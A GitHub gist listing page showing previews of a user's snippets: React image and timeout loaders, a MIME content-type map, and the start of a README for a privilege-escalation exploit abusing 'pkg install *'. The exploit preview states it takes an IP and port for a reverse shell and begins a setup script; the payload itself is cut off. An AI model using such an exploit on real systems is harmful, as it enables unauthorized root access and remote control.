Skip to content

Instantly share code, notes, and snippets.

Avatar

Rishabh Jain rishabhjainfinal

View GitHub Profile
@rishabhjainfinal
rishabhjainfinal / image.jsx
Created Sep 14, 2021
Image preLoader for react 'to show loading circle till the image loads'
View image.jsx
import React, { useState, Suspense } from 'react';
import CircularProgress from '@material-ui/core/CircularProgress';
export default function Image({ src, alt }) {
const [isloaded, setIsloaded] = useState(false);
return (
<>
<img
className={isloaded ? "ImageItself " : "displayNone"}
@rishabhjainfinal
rishabhjainfinal / reactLoader.js
Created Sep 5, 2021
Loader for the react with timeout 😎😁😀
View reactLoader.js
import './App.css';
import React, { useState, useEffect } from 'react';
function App() {
const [ loader, setloader ] = useState(true);
useEffect(() => {
setTimeout(() => setloader(false),1000)
}, []);
@rishabhjainfinal
rishabhjainfinal / headersForMostCommonFiles.js
Created Aug 20, 2021
headersForMostCommonFiles.js to put in head of server response
View headersForMostCommonFiles.js
const ContentTypes = {
"TXT": "text/plain",
"HTM": "text/html",
"TIFF": "image/tiff",
"TMP": "application/octet-stream",
"TOAST": "application/octet-stream",
"TORRENT": "application/x-bittorrent",
"TTF": "application/x-font-ttf",
"UUE": "application/octet-stream",
"VCD": "application/x-cdlink",
@rishabhjainfinal
rishabhjainfinal / README.md
Last active Aug 7, 2021
Exploit for privilege escalation from "pkg" and "pkg install *"
View README.md

Exploit for privilege escalation from "pkg" and "pkg install *"

# pkg install * | privilege escalation | by rishi23jain

### TAKES 2 ARGS IP AND PORT FOR REVERSE SHELL

baseDIR=/tmp/exploiter

# clear and make temp dir 
rm -fr $baseDIR